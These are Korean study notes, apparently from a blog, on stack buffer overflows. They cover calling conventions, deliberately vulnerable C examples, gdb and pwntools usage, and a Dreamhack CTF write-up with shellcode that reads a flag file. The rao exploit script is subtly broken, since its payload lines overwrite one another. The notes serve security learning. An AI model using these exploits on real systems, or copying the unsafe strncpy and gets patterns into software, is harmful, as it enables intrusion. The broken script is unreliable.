[ STACK BUFFER OVERFLOW ]

 

Calling Convention

▶ 함수 호출 규약

: 함수의 호출 및 반환에 대한 약속

 

한 함수에서 다른 함수를 호출할 때, 프로그램의 실행 흐름은 다른 함수로 이동하고 호출한 함수가 반환하면, 다시 원래의 함수로 돌아와서 기존의 실행 흐름을 이어나간다. 그러므로 함수를 호출할 때는 반환된 이후를 위해 호출자(Caller)의 상태(Stack frame) 및 반환 주소(Return Address)를 저장해야 한다. 또한, 호출자는 피호출자(Callee)가 요구하는 인자를 전달해줘야 하며, 피호출자의 실행이 종료될 때는 반환 값을 전달받아야 한다.

컴파일러의 도움 없이 어셈블리 코드를 작성하려 하거나, 또는 어셈블리로 작성된 코드를 읽고자 한다면 함수 호출 규약을 알아야 한다.

 

▶ 함수 호출 규약 종류

컴파일러는 지원하는 호출 규약 중, CPU 아키텍처에 적합한 것을 선택한다.

 

ex 1) x86(32bit) 아키텍처는 레지스터를 통해 피호출자의 인자를 전달하기에는 레지스터의 수가 적으므로, 스택으로 인자를 전달하는 규약을 사용

ex2 ) x86-64 아키텍처에서는 레지스터가 많으므로 적은 수의 인자는 레지스터만 사용해서 인자를 전달하고, 인자가 너무 많을 때만 스택을 사용

 

CPU의 아키텍처가 같아도, 컴파일러가 다르면 적용하는 호출 규약이 다를 수 있다. C언어를 컴파일할 때, 윈도우에서는 MSVC를, 리눅스에서는 gcc를 많이 사용한다. 이 둘은 같은 아키텍처에 대해서도 다른 호출 규약을 적용한다. x86-64 아키텍처에서 MSVC는 MS x64 호출 규약을 적용하지만, gcc는 SYSTEM V 호출 규약을 적용한다. 이 외에 같은 호출 규약을 컴파일러마다 다르게 구현하기도 한다.

x86호출 규약: cdecl

▶ cdecl

x86아키텍처는 레지스터의 수가 적으므로, 스택을 통해 인자를 전달한다. 또한, 인자를 전달하기 위해 사용한 스택을 호출자가 정리하는 특징이 있다. 스택을 통해 인자를 전달할 때는, 마지막 인자부터 첫 번째 인자까지 거꾸로 스택에 push한다.

 

- cdecl 함수 호출 규약

void __attribute__((cdecl)) callee(int a1, int a2){ // cdecl로 호출
}
void caller(){
   callee(1, 2);
}

위 코드를 어셈블리어로 컴파일한 결과

컴파일

: 어떤 언어로 작성된 소스 코드(Source Code)를, 다른 언어의 목적 코드(Object Code)로 번역하는 것

소스 코드를 어셈블리어로, 또는 소스 코드를 기계어로 번역하는 행위 모두 컴파일의 범주에 포함된다.

C언어를 실행 가능한 바이너리로 만드는 과정을 보통 전처리, 컴파일, 어셈블, 링크의 4단계로 구분하는데, 이를 합해서 ‘컴파일’이라고 부를 수 있는 것도 위와 같은 이유이다.

 

x86-64호출 규약: SYSV

▶ SYSV

리눅스는 SYSTEM V(SYSV) Application Binary Interface(ABI)를 기반으로 만들어졌다.

SYSV ABI는 ELF 포맷, 링킹 방법, 함수 호출 규약 등의 내용을 담고 있다.

file 명령어를 이용해 바이너리 정보를 살펴보면 SYSV문자열이 포함되어있다.

< SYSV에서 정의한 함수 호출 규약 >

  1. 6개의 인자를 RDI, RSI, RDX, RCX, R8, R9에 순서대로 저장하여 전달합니다. 더 많은 인자를 사용해야 할 때는 스택을 추가로 이용합니다.
  2. Caller에서 인자 전달에 사용된 스택을 정리합니다.
  3. 함수의 반환 값은 RAX로 전달합니다.
// Name: sysv.c
// Compile: gcc -fno-asynchronous-unwind-tables  -masm=intel \
//         -fno-omit-frame-pointer -S sysv.c -fno-pic -O0
#define ull unsigned long long
int callee(ull a1, int a2, int a3, int a4, int a5, int a6, int a7) {
  ull ret = a1 + a2 + a3 + a4 + a5 + a6 + a7;
  return ret;
}
void caller() { callee(123456789123456789, 2, 3, 4, 5, 6, 7); }
int main() { caller(); }

▶ SYSV

1. 인자 전달

gdb로 sysv를 로드한 후 중단점을 설정하여 caller함수까지 실행한다. context의 DISASM을 보면, caller+6부터 caller+33까지 6개의 인자를 각각의 레지스터에 설정하고 있으며, caller+4에서는 7번째 인자인 7을 스택으로 전달하고 있다.

 

소스 코드에서 callee(123456789123456789, 2, 3, 4, 5, 6, 7)로 함수를 호출했는데, 인자들이 순서대로 rdi, rsi, rdx, rcx, r8, r9 그리고 [rsp]에 설정되어 있는 것을 확인할 수 있다.

 

2. 반환 주소 저장

si명령어로 한 단계 더 실행시킨다. call 이 실행되고 스택을 확인해보면 0x5555555551b9가 반환 주소로 저장되어 있다. gdb로 확인해보면 0x5555555551b9는 callee호출 다음 명령어의 주소이다. callee에서 반환됐을 때, 이 주소를 꺼내어 원래의 실행 흐름으로 돌아갈 수 있다.

 

3. 스택 프레임 저장

x/5i $rip명령어로 callee함수의 도입부(Prologue)를 살펴보면, 가장 먼저 push rbp를 통해 호출자의 rbp를 저장하고 있다. rbp가 스택프레임의 가장 낮은 주소를 가리키는 포인터이므로, 이를 Stack Frame Pointer(SFP)라고도 부른다.

callee에서 반환될 때, SFP를 꺼내어 caller의 스택 프레임으로 돌아갈 수 있다.

si로 push rbp를 실행하고, 스택을 확인해보면 rbp값인 0x00007fffffffdf98이 저장된 것을 확인할 수 있다.

 

4. 스택 프레임 할당

mov rbp, rsp로 rbp와 rsp가 같은 주소를 가리키게 한다. 바로 다음에 rsp의 값을 빼게 되면, rbp와 rsp의 사이 공간을 새로운 스택 프레임으로 할당하는 것이지만, callee 함수는 지역 변수를 사용하지 않으므로, 새로운 스택 프레임을 만들지 않는다.

si로 실행하고, 레지스터를 보면 이 둘이 같은 주소를 가리키는 것을 확인할 수 있다.

 

5. 반환값 전달

덧셈 연산을 모두 마치고, 함수의 종결부(Epilogue)에 도달하면, 반환값을 rax에 옮긴다. 반환 직전에 rax를 출력하면 전달한 7개 인자의 합인 123456789123456816을 확인할 수 있다.

 

6. 반환

반환은 저장해뒀던 스택 프레임과 반환 주소를 꺼내면서 이루어진다. 여기서는 callee 함수가 스택 프레임을 만들지 않았기 때문에, pop rbp로 스택 프레임을 꺼낼 수 있지만, 일반적으로 leave로 스택 프레임을 꺼낸다.

스택 프레임을 꺼낸 뒤에는, ret로 호출자로 복귀한다. 앞에서 저장해뒀던 sfp로 rbp가, 반환 주소로 rip가 설정된 것을 확인할 수 있다.

 

▶ 요약


[ Memory Corruption: Stack Buffer Overflow ]

 

스택 버퍼 오버플로우

▶ 버퍼 오버플로우

스택 오버플로우 : 스택 영역이 너무 많이 확장돼서 발생하는 버그

스택 버퍼 오버플로우 : 스택에 위치한 버퍼에 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그

 

- 버퍼

: 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소

 

데이터의 처리속도가 다른 두 장치가 있을 때, 이 둘 사이에 오가는 데이터를 임시로 저장해 두는 것은 일종의 완충 작용을 한다. 버퍼를 통해 간접적으로 데이터를 전달하게 한다. 송신 측은 버퍼로 데이터를 전송하고, 수신 측은 버퍼에서 데이터를 꺼내 사용한다. 이렇게 하면 버퍼가 가득 찰 때까지는 유실되는 데이터 없이 통신할 수 있니다. 빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 하는 것이 버퍼의 역할이라고 할 수 있다.

현대에는 이런 완충의 의미가 많이 희석되어 데이터가 저장될 수 있는 모든 단위를 버퍼라고 부른다.

스택 버퍼 : 스택에 있는 지역 변수
힙 버퍼 : 힙에 할당된 메모리 영역

 

- 버퍼 오버플로우

: 버퍼가 넘치는 것

버퍼는 제각기 크기를 가지고 있는데, int로 선언한 지역 변수는 4바이트의 크기를 갖고, 10개의 원소를 갖는 char배열은 10바이트의 크기를 갖는다. 만약 10바이트 크기의 버퍼에 20바이트 크기의 데이터가 들어가려 하면 오버플로우가 발생한다. 일반적으로 버퍼는 메모리상에 연속해서 할당되어 있으므로, 어떤 버퍼에서 오버플로우가 발생하면, 뒤에 있는 버퍼들의 값이 조작될 위험이 있다

버퍼 오버플로우는 일반적으로 어떤 메모리 영역에서 발생해도 큰 보안 위협으로 이어진다.

 

▶ 중요 데이터 변조

버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터가 변조됨으로써 문제가 발생할 수 있다.

ex) 입력 데이터에서 악성 데이터를 감지하여 경고해주는 프로그램이 있을 때, 악성의 조건이 변경되면 악성 데이터에도 알람이 울리지 않을 수 있다. 

// Name: sbof_auth.c
// Compile: gcc -o sbof_auth sbof_auth.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_auth(char *password) {
    int auth = 0;
    char temp[16];
    
    strncpy(temp, password, strlen(password));
    
    if(!strcmp(temp, "SECRET_PASSWORD"))
        auth = 1;
    
    return auth;
}
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))
        printf("Hello Admin!\n");
    else
        printf("Access Denied!\n");
}

main 함수는 argv[1]을 check_auth 함수의 인자로 전달한 후, 반환 값을 받아온다. 이 때, 반환 값이 0이 아니라면 "Hello Admin!"을, 0이라면 "Access Denied!"라는 문자열을 출력한다.

 

check_auth함수에서는 16 바이트 크기의 temp버퍼에 입력받은 패스워드를 복사한 후, 이를 "SECRET_PASSWORD" 문자열과 비교한다. 문자열이 같다면 auth를 1로 설정하고 반환한다.

 

그런데 check_auth에서 strncpy 함수를 통해 temp버퍼를 복사할 때, temp의 크기인 16 바이트가 아닌 인자로 전달된 password의 크기만큼 복사한다. 그러므로  argv[1]에 16 바이트가 넘는 문자열을 전달하면, 이들이 모두 복사되어 스택 버퍼 오버플로우가 발생하게 된다.

 

auth는 temp버퍼의 뒤에 존재하므로, temp버퍼에 오버플로우를 발생시키면 auth의 값을 0이 아닌 임의의 값으로 바꿀 수 있다. 이 경우, 실제 인증 여부와는 상관없이 main함수의 if(check_auth(argv[1])) 는 항상 참이 된다.

 

- SECRET_PASSWORD 문자열과 동일할 때

 

- SECRET_PASSWORD 문자열과 동일하지 않을 때

 

- temp버퍼에 오버플로우를 발생시킬 때

temp버퍼에 오버플로우를 발생시키면 auth의 값을 0이 아닌 임의의 값으로 바꿀 수 있어 인증이 안되었지만 main함수의 if(check_auth(argv[1])) 가 참이 되었다.

 

▶ 데이터 유출

C언어에서 정상적인 문자열은 널바이트로 종결되며, 표준 문자열 출력 함수들은 널바이트를 문자열의 끝으로 인식한다. 만약 어떤 버퍼에 오버플로우를 발생시켜서 다른 버퍼와의 사이에 있는 널바이트를 모두 제거하면, 해당 버퍼를 출력시켜서 다른 버퍼의 데이터를 읽을 수 있다. 획득한 데이터는 각종 보호기법을 우회하는데 사용될 수 있으며, 해당 데이터 자체가 중요한 정보일 수도 있다.

// Name: sbof_leak.c
// Compile: gcc -o sbof_leak sbof_leak.c -fno-stack-protector
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void) {
  char secret[16] = "secret message";
  char barrier[4] = {};
  char name[8] = {};
  memset(barrier, 0, 4);
  printf("Your name: ");
  read(0, name, 12);
  printf("Your name is %s.", name);
}

8바이트 크기의 name 버퍼에 12바이트의 입력을 받는다. 읽고자 하는 데이터인 secret버퍼와의 사이에 barrier라는 4바이트의 널 배열이 존재하는데, 오버플로우를 이용하여 널 바이트를 모두 다른 값으로 변경하면 secret을 읽을 수 있다.

 

name버퍼에 abcdefghijkl로 총 12바이트의 입력을 해주었다. 원래 name 버퍼 크기는 8바이트이므로 오버플로우가 되었고 이 때문에 뒤에 secret message가 추가적으로 붙은 것을 확인할 수 있다.

 

▶ 실행 흐름 조작

함수를 호출할 때 반환 주소를 스택에 쌓고, 함수에서 반환될 때 이를 꺼내어 원래의 실행 흐름으로 돌아간다 .이를 공격자의 관점에서 바라보면, '스택 버퍼 오버플로우로 반환 주소(Return Address)를 조작하면 어떻게 될까'하는 궁금증을 가져볼 수 있다. 그리고 실제로, 함수의 반환 주소를 조작하면 프로세스의 실행 흐름을 바꿀 수 있다.

// Name: sbof_ret_overwrite.c
// Compile: gcc -o sbof_ret_overwrite sbof_ret_overwrite.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
int main(void) {
    char buf[8];
    printf("Overwrite return address with 0x4141414141414141: ");
    gets(buf);
    return 0;
}

 

gdb

디버거 : 버그를 없애기 위해 사용하는 도구

▶ gdb & pwndbg

#include <stdio.h>
int main(void) {
  int sum = 0;
  int val1 = 1;
  int val2 = 2;
  sum = val1 + val2;
  printf("1 + 2 = %d\\n", sum);
  return 0;
}

- start

: 진입점부터 프로그램을 분석할 수 있게 해주는 gdb의 명령어

 

리눅스 실행파일 형식 : ELF(Executable and Linkable Format)

ELF : 헤더(실행에 필요한 여러 정보) + 여러 섹션(컴파일된 기계어 코드, 프로그램 문자열 등 데이터)

헤더 중 진입점이라는 필드가 있는데 운영체제가 ELF를 실행할 때, 진입점의 값부터 실행한다.

readelf로 확인해본 결과 debugee의 진입점은 0x401050이다.

 

- context

pwndbg는 주요 메모리들의 상태를 프로그램이 실행되고 있는 맥락(Context)이라고 부르며, 이를 가독성 있게 표현할 수 있는 인터페이스를 갖추고 있다.

  1. registers: 레지스터의 상태를 보여준다.
  2. disasm: rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여준다.
  3. stack: rsp부터 여러 줄에 걸쳐 스택의 값들을 보여준다.
  4. backtrace: 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여준다.

이들은 어셈블리를 실행할 때마다 갱신되어 방금 실행한 어셈블리 명령어가 메모리에 어떤 영향을 줬는지 쉽게 파악할 수 있게 돕는다.

 

- break & continue

break : 특정 주소에 중단점을 설정하는 기능

continue : 중단된 프로그램을 계속 실행시키는 기능

 

- run

: 단순히 실행만 시킨다. 중단점을 설정해놓지 않았다면 프로그램이 끝까지 멈추지 않고 실행된다. 

위에서 main에 breakpoint를 설정해놨기 때문에 main에서 실행이 멈춘다.

 

이 외 gdb 명령어

si: step into
ni: next instruction
i: info
k: kill
pd: pdisas

 

- disassembly

disassemble : gdb가 기본적으로 제공하는 디스어셈블 명령어

함수 이름을 인자로 전달하면 해당 함수가 반환될 때 까지 전부 디스어셈블하여 보여준다.

디스어셈블 명령어 : u, nearpc, pdisassemble - 디스어셈블된 코드를 가독성 좋게 출력해줌

 

- navigate

관찰하고자 하는 함수의 중단점에 도달했으면 명령어를 한 줄씩 분석해야 하는데 이 때 ni, si 명령어를 사용한다.

  ni(next instruction) si(step into)
공통점 어셈블리 명령어를 한 줄 실행
차이점(call 등을 통해 서브루틴 호출) 서브루틴의 내부로 들어가지 않음 서브루틴 내부로 들어감
사용 함수 내부까지 궁금 X 함수 내부까지 궁금 O

si를 사용하면 printf 함수 내부까지도 rip가 이동한다. 

 

si로 함수 내부에 들어가 필요한 부분을 모두 분석했는데 함수 규모가 커서 원래 실행 흐름으로 돌아가기 어렵다면 finish 명령어를 이용해 함수의 끝까지 한번에 실행할 수 있다.

 

- examine

프로그램을 분석하다 보면 가상 메모리에 존재하는 임의 주소의 값을 관찰해야할 때가 있다. x를 이용하면 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼수 있습니다.

rsp부터 80바이트를 8바이트씩 hex형식으로 출력
rip부터 10줄의 어셈블리 명령어 출력
특정 주소의 문자열 출력

 

- telescope

: pwndbg가 제공하는 강력한 메모리 덤프 기능

특정 주소의 메모리 값과 메모리가 참조하고 있는 주소를 재귀적으로 탐색하여 값을 보여준다.

 

- vmmap

: 가상 메모리의 레이아웃

어떤 파일이 매핑된 영역일 경우, 해당 파일의 경로까지 보여준다.

 

- gdb / python

gdb를 통해 디버깅할 때 직접 입력할 수 없을 때가 있다. 예를 들어, 숫자와 알파벳이 아닌 값을 입력하는 상황이다. 이러한 값은 이용자가 직접 입력할 수 없는 값이기 때문에 파이썬으로 입력값을 생성하고, 이를 사용해야 한다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
	char name[20];
	if( argc < 2 ) {
		printf("Give me the argv[2]!\n");
		exit(0);
	}
	memset(name, 0, sizeof(name));
	printf("argv[1] %s\n", argv[1]);
	read(0, name, sizeof(name)-1);
	printf("Name: %s\n", name);
	return 0;
}

 

- python argv

run 명령어의 인자로 $()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다.

 

- python input

$()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다. 입력값으로 전달하기 위해서 '<<<'문자를 사용한다.

위 코드는 argv[1]에 임의의 값을 전달하고 값을 입력하는 명령어다.


pwntools

이론은 밑에 링크에 작성해두었으므로 넘어감

https://sbcho0325.tistory.com/45

 

pwntools 실습

▶rao 익스플로잇

- rao 예제 코드

#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

- pwntools로 rao 익스플로잇

from pwn import *

p = process('./rao')
get_shell = 0x4005a7

payload = b"A"*0x30
payload = b"B"*0x8
payload = p64(get_shell)

p.sendline(payload)
p.interactive

shell_basic

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

문제 파일 내 c코드이다. 이를 이해하기 위해 알아야하는 함수를 대략적으로 살펴보자.

 

1) seccomp(secure computing mode) 함수

리눅스 커널에서 프로그램의 샌드박싱 매커니즘을 제공하는 컴퓨터 보안기능

샌드박스 : 외부로부터 들어온 프로그램이 보호된 영역에서 동작해 시스템이 부정하게 조작되는 것을 막는 보안 형태

 

scmp_filter_ctx seccomp_init(uint32_t def_action);

- 필터 상태를 초기화 시켜주는 함수

- 기본 동작은 def_action에 의해 설정

- 필터 구성을 마치고 커널에 로드하면 seccomp_release함수를 호출하여 모든 필터 상태를 해제해야 함

- SCMP_ACT_ALLOW : 필터 규칙과 일치하는 경우 호출하는 스레드에 영향을 미치지 않음

 

int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt);

- 현재 seccomp 필터에 새 필터 규칙을 추가

- 규칙을 추가한다고 해서 seccomp_load함수 호출 전까지는 적용 X

- SCMP_ACT_KILL : 필터 규칙과 일치하는 syscall을 호출할 때 커널에 의해 종료

 

int seccomp_load(scmp_filter_ctx ctx);

- 설정한 필터 규칙을 커널에 로드하여 필터를 활성화시킴

 

<함수 요약>

  1. seccomp_init함수를 통해 필터 상태를 모두 허용한다(초기화)
  2. seccomp_rul_add함수를 통해 다음 syscall이 발생하면 종료시킨다(필터 규칙 추가)
  3. seccomp_load함수를 통해 커널에 로드하여 필터 규칙을 활성화 시킨다(필터 규칙 활성화)
  4. seccomp_release함수를 통해 필터 규칙을 해제한다(필터 규칙 해제)

 

2) mmap() 함수

파일이나 디바이스를 응용 프로그램의 주소 공간 메모리에 대응시킨다.

void* mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset);

fd로 지정된 디바이스 파일에서 offset에 해당하는 물리 주소에서 시작하여 length 바이트 만큼을 start주소로 대응시킨다. start 주소는 보통 0으로 지정하고, 강제적인 요구가 아니기 때문에 다른 값을 지정해도 꼭 그 값으로 매핑시켜 반환되지는 않는다. offset과 length는 PAGE_SIZE 단위여야 한다. 


retrun 값 : 맵핑이 시작하는 실제 메모리 주소, 에러 발생 시 MAP_FAILED(-1)이 반환, errno는 적당한 값으로 설정된다.

 

▶start : 요청한 물리 주소 공간을 매핑하고자 하는 주소(보통은 0을 사용)
▶length : 매핑하고자 하는 주소 공간의 크기
▶prot : 메모리 보호 모드를 설정
   - PROT_EXEC : 페이지가 실행될 수 있다.
   - PROT_READ : 페이지를 읽을 수 있다.
   - PROT_WRITE : 페이지에 쓸 수 있다.
   - PROT_NONE : 페이지에 접근할 수 없다.
▶flags : 대응된 객체 타입, 대응 옵션, 대응된 페이지 복사본에 대한 수정을 그 프로세스에만 보일 것인지 참조하는 다             른 프로세스와 공유할 것인지를 설정한다.
   - MAP_FIXED : 지정된 주소 이외에는 선택하지 않는다. 지정된 주소를 사용할 수 없으면 mmap은 실패한다. 그리                              고 MAP_FIXED가 지정되면 start는 페이지 크기의 배수여야 한다. 가급적 MAP_FIXED 옵션은 사용                              하지 않는 편이 좋다.
   - MAP_SHARED : 이 객체를 대응시키는 다른 프로세스와 대응 영역을 공유한다.
   - MAP_PRIVATE : 다른 프로세스와 대응 영역을 공유하지 않는다.
▶fd : 메모리 맵 방식을 사용할 파일 디스크립터
▶offset: 매핑시키고 싶은 물리 주소, 이 값은 디바이스 드라이버에 전달되지만, 디바이스 드라이버가 다른 주소를 매핑             할 경우 쓰이지 않는다.


또 이 문제를 해결하기 위해서 pwntools를 사용해야 한다.

pwntools 

: 시스템 해킹(pwnable)에 필요한 기능들로 커스터마이징이 된 파이썬 모듈

 

사용법

1. process & remote

process : 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용, 익스플로잇을 테스트, 디버깅하기 위해 사용

remote : 원격 서버를 대상으로 할 때 사용, 대상 서버를 실제로 공격하기 위해 사용

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

 

2. send

: 데이터를 프로세스에 전송하기 위해 사용

from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력

 

3. recv

: 프로세스에서 데이터를 받기 위해 사용

from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 받아서 data에 저장
recv(n) : 최대 n바이트를 받음 (그만큼 받지 못해도 에러 발생 X)
recvn(n) : 정확히 n바이트의 데이터를 받지 못하면 계속 기다림

 

4. packing & unpacking

#!/usr/bin/python3
#Name: pup.py
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = "ABCD"
s64 = "ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))

익스플로잇을 작성하다 보면 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 또는 역의 과정을 거쳐야 하는 경우가 자주 있다. 

 

5. interactive

: 셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수

from pwn import *
p = process('./test')
p.interactive()

호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있다.

 

6. ELF

ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어 있다.

from pwn import *
e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 puts_plt에 저장

 

7. context.log

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

익스플로잇에 버그가 발생하면 익스플로잇도 디버깅해야한다.

pwntools에는 디버그의 편의ㄹ를 돕는 로깅 기능이 있고 로그 레벨은 변수context.log_level로 조절할 수 있다.

 

8. context.arch

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

pwntools는 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받는다. 그래서 pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라진다.

 

9. shellcraft

from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)

pwntools에는 자주 사용되는 셸 코드들이 저장되어 있어서, 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해준다. 매우 편리한 기능이지만 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못한다. 또한, 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건들도 반영하기 어렵다. 따라서 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋다.

 

10. asm

: 어셈블 기능 함수

from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)

이 기능도 대상 아키텍처가 중요하므로 미리 지정해야 한다.


우분투에서 다음과 같은 orw코드를 작성해주었다.

from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 포트번호)
context(arch='amd64', os = 'linux')

context.log_level = 'debug'를 통해 디버그가 가능하도록 하였다. 

remote를 이용해 dreamhack에서 주어진 포트번호에 연결해주었다.

context를 통해 대상 아키텍처를 지정해주고 os를 설정해주었다.

 

code = ''
code += shellcraft.pushstr("/home/shell_basic/flag_name_is_loooooong")
code += shellcraft.open("rsp",0,0)
code += shellcraft.read("rax","rsp",100)
code += shellcraft.write(1, "rsp", 100)

shellcraft.pushstr을 통해  open 함수 인자로 넘길 파일명을 넣어주었다.

그 다음 코드들은 open으로 파일을 열고 read로 읽어 스택에 저장하고 write로 표준출력을 해주었다.

shellcraft.open("rsp",0,0)는 open(flagName, O_RDONLY)와 동일한 의미를 가지고 있다. 스택 최상단에 파일명을 push 했기 때문에 rsp를 이용해 open함수를 call했다.

open의 반환값은 rax에 담기므로 read의 fd를 rax로 설정해주었다.

write는 일반 출력을 위해 1로 설정해주고 read에서 사용한 값을 그대로 사용하기 위해 rsp로 동일하게 설정해주었다. 

 

p.recvuntil('shellcode: ')
p.sendline(asm(code))
p.interactive()

recvuntil()은 괄호 내 데이터를 받아주었다. 이를 통해 shellcode: 뒤에 다음 명령어를 실행해줄 수 있었다.

sendline()으로 괄호 내 값을 보냈다. 여기서는 위에서 작성한 code를 전송하였다. 근데 그냥 code를 전송한 것이 아니라 asm함수를 이용하여 셸 코드를 기계어로 어셈블하여 전송해주었다.

interactive()으로 명령을 전송하여 아래와 같은 결과가 나왔다.

이렇게 flag를 찾을 수 있었다.

Computer Architecture(컴퓨터 구조)

: 컴퓨터가 효율적으로 작동할 수 있도록 하드웨어 및 소프트웨어의 기능을 고안하고, 이들을 구성하는 방법

 

▶ 기능 구조의 설계

  • 컴퓨터가 연산을 효율적으로 하기 위해 어떤 기능들이 필요한지 고민하고 설계하는 분야
  • 폰 노이만 구조, 하버드 구조, 수정된 하버드 구조

 

▶ 명령어 집합구조

  • CPU가 처리해야하는 명령어를 설계하는 분야
  • x86, x86-64, ARM, MIPS, AVR

 

▶ 마이크로 아키텍처

  • 정의된 명령어 집합을 효율적으로 처리할 수 있도록 CPU의 회로를 설계하는 분야
  • 캐시 설계, 파이프라이닝, 슈퍼 스칼라, 분기 예측, 비순차적 명령어 처리

▶ 폰 노이만 구조

폰 노이만(초기 컴퓨터 과학자) → 컴퓨터에 연산, 제어, 저장 기능이 필요하다고 생각

근대 컴퓨터 : [연산, 제어 → CPU(중앙처리장치)] + [저장 → Memory(기억장치)] + [장치간 데이터, 신호 교환 → 버스]

 

CPU(중앙처리장치)

- 컴퓨터의 두뇌 : 프로그램의 연산 처리, 시스템 관리

- 프로세스의 코드를 불러오고, 실행하고, 결과를 저장

- 산술논리장치(산술/논리 연산 처리), 제어장치, 레지스터(필요한 데이터 저장)로 구성

 

Memory(기억장치) = 주기억장치 + 보조기억장치

- 컴퓨터가 동작하는데 필요한 여러 데이터를 저장하기 위해 사용

- 주기억장치 : 프로그램 실행과정에서 필요한 데이터들을 임시로 저장하기 위해 사용 (ex) 램)

- 보조기억장치 : 운영체제, 프로그램 등과 같은 데이터를 장기간 보관하고자 할 때 사용 (ex) HDD, SSD)

 

버스

- 컴퓨터 부품과 부품 사이 or 컴퓨터와 컴퓨터 사이에 신호를 전송하는 통로

- ex) 데이터 버스, 주소 버스, 제어 버스, 랜선, 데이터 전송 sw, 프로토콜

 

※ 기억장치가 있는데 CPU안에 레지스터가 필요한 이유

